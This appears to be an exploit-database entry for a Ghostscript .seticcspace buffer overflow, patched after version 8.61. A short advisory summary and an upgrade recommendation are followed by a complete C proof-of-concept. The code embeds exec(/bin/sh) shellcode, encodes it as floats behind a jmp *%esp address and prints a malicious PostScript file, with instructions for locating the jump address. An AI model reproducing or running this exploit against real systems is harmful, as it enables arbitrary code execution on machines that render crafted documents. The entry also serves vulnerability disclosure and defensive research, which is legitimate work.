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Suggest Exploit
vendor:
Ghostscript
by:
Chris Evans and Will Drewry
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Ghostscript
Affected Version From: All versions of ghostscript that support .seticcspace.
Affected Version To: Ghostscript 8.61 (2007-11-21)
Patch Exists: YES
Related CWE: N/A
CPE: a:artifex:ghostscript
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu gs-esp-8.15.2.dfsg.0ubuntu1-0ubuntu1 (x86), Ghostscript 8.61 (2007-11-21) (x86)
2007

Ghostscript Buffer Overflow Vulnerability

Ghostscript is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions. A proof of concept exploit for ghostscript 8.61 and earlier was discovered by Chris Evans and authored by Will Drewry. The vulnerability is in the float vector handling in the seticcspace function. zicc.c:seticcspace() allows the user to set the number of expected float values (ncomps) in a vector (range_buff). However, this vector is statically allocated with the maximum space of 8 floats. Despite this, the call (dict_floats_array_check_param) to populate the array of floats is passed a maximum size of ncomps*2. A large payload will result in overflowing this array. Since all the values are read in as single precision floating point values, the payload must be encoded as floats.

Mitigation:

Upgrade to the latest version of Ghostscript.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/28017/info

Ghostscript is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions. 

/* A proof of concept exploit for ghostscript 8.61 and earlier.
 *
 * Vulnerability discovered by Chris Evans <cevans@google.com>
 * Author: wad@google.com (Will Drewry)
 *
 * Affects: All versions of ghostscript that support .seticcspace.
 * Tested on: Ubuntu gs-esp-8.15.2.dfsg.0ubuntu1-0ubuntu1 (x86)
 *            Ghostscript 8.61 (2007-11-21) (x86)
 *
 * Discussion:
 *
 * The vulnerability is in the float vector handling in the seticcspace
 * function. zicc.c:seticcspace() allows the user to set the number of
 * expected float values (ncomps) in a vector (range_buff).  However,
 * this vector is statically allocated with the maximum space of 8
 * floats.  Despite this, the call (dict_floats_array_check_param) to
 * populate the array of floats is passed a maximum size of ncomps*2.  A
 * large payload will result in overflowing this array.  Since all the
 * values are read in as single precision floating point values, the
 * payload must be encoded as floats.
 *
 * This exploit encodes a basic metasploit-generated exec(/bin/sh) chunk
 * of shellcode as a list of floats and prepends the address to a "jmp
 * *%esp" in the /usr/bin/gs.
 *
 * This was tested on gs-esp-8.15.2.dfsg.0ubuntu1-0ubuntu1 package in
 * Ubuntu (on a 32-bit-only kernel)  and versions up to 8.61
 * (2007-11-21) on other distributions.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00"
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
unsigned char sledpad[] = "\x90\x90\x90"; // maximum sledpad needed
unsigned char spacepad[] = "\x41\x41\x41\x41"; // indicator for fun dumps

float bytes_to_float(unsigned char *bytes) {
  float f = 0.0f;
  memcpy((void *)&f, bytes, sizeof(float));
  return f;
}

unsigned char *build_attack(size_t *attack_size, long a, int padding) {
  size_t float_size = sizeof(float);
  size_t shellcode_size = sizeof(shellcode) - 1;
  size_t sledpad_size = float_size - (shellcode_size % float_size);
  size_t pad_size = padding * (sizeof(spacepad) - 1);
  unsigned char *attack = NULL, *padded_shellcode = shellcode;
  int i,j;

  // allocate attack space
  *attack_size = shellcode_size + sledpad_size + sizeof(a) + pad_size;
  if (*attack_size) attack = malloc(*attack_size);
  if (attack == NULL) exit(1);

  fprintf(stderr, "sizeof(float) = %d\n", float_size);
  fprintf(stderr, "sledpad_size = %d\n", sledpad_size);
  fprintf(stderr, "pad_size = %d\n", pad_size);
  fprintf(stderr, "attack_size = %d\n", *attack_size);
  fprintf(stderr, "address = %p\n", a);

  // write out request space padding
  for (i = 0; i < pad_size; i += sizeof(spacepad)-1)
    memcpy(&attack[i], spacepad, sizeof(spacepad)-1);

  // write out the address to a "jmp *%esp"
  memcpy(&attack[i], (void *)&a, sizeof(long));
  i += sizeof(long);

  // pad to ensure that shellcode is divisible by sizeof(float)
  if (sledpad_size != float_size){
    // build a padded a shellcode
    padded_shellcode = malloc(shellcode_size+sledpad_size);
    if (padded_shellcode == NULL) exit(1);
    memcpy(padded_shellcode, sledpad, sledpad_size);
    memcpy(padded_shellcode+sledpad_size, shellcode, shellcode_size);
    shellcode_size += sledpad_size;
  }

  // Copy in the padded shellcode
  memcpy(&attack[i], padded_shellcode, shellcode_size);

  if (shellcode != padded_shellcode) free(padded_shellcode);
  // That's it.
  return attack;
}

int main(int argc, char **argv) {
  size_t i = 0;
  size_t attack_size = 0;
  unsigned char *attack = NULL;
  // location of jmp *esp in the binary
  long address = 0x0;


  if (argc != 3){
    fprintf(stderr, "Usage: %s <pad count> <addr of jmp *%%esp>\n", argv[0]);
    fprintf(stderr, "       e.g. %s 15 $((0x8744eff))\n", argv[0]);
    fprintf(stderr, "An address can be acquired with:\n");
    fprintf(stderr, "  objdump -D /usr/bin/gs | grep 'jmp[ \\t]\\+\\*%%esp'\n");
    return 1;
  }

  attack = build_attack(&attack_size, atol(argv[2]), atoi(argv[1]));

  // output the bad PS
  printf(
    "%!PS-Adobe-2.0\n\n"
    "<< /DataSource currentfile /N 100 /Range [ ");
  // convert the attack to floats
  for(i = 0; i <= attack_size - sizeof(float); i += sizeof(float))
    printf("%.9g ",  bytes_to_float(attack+i));
  printf(" ]  >> .seticcspace\n");

  free(attack);
  return 0;
}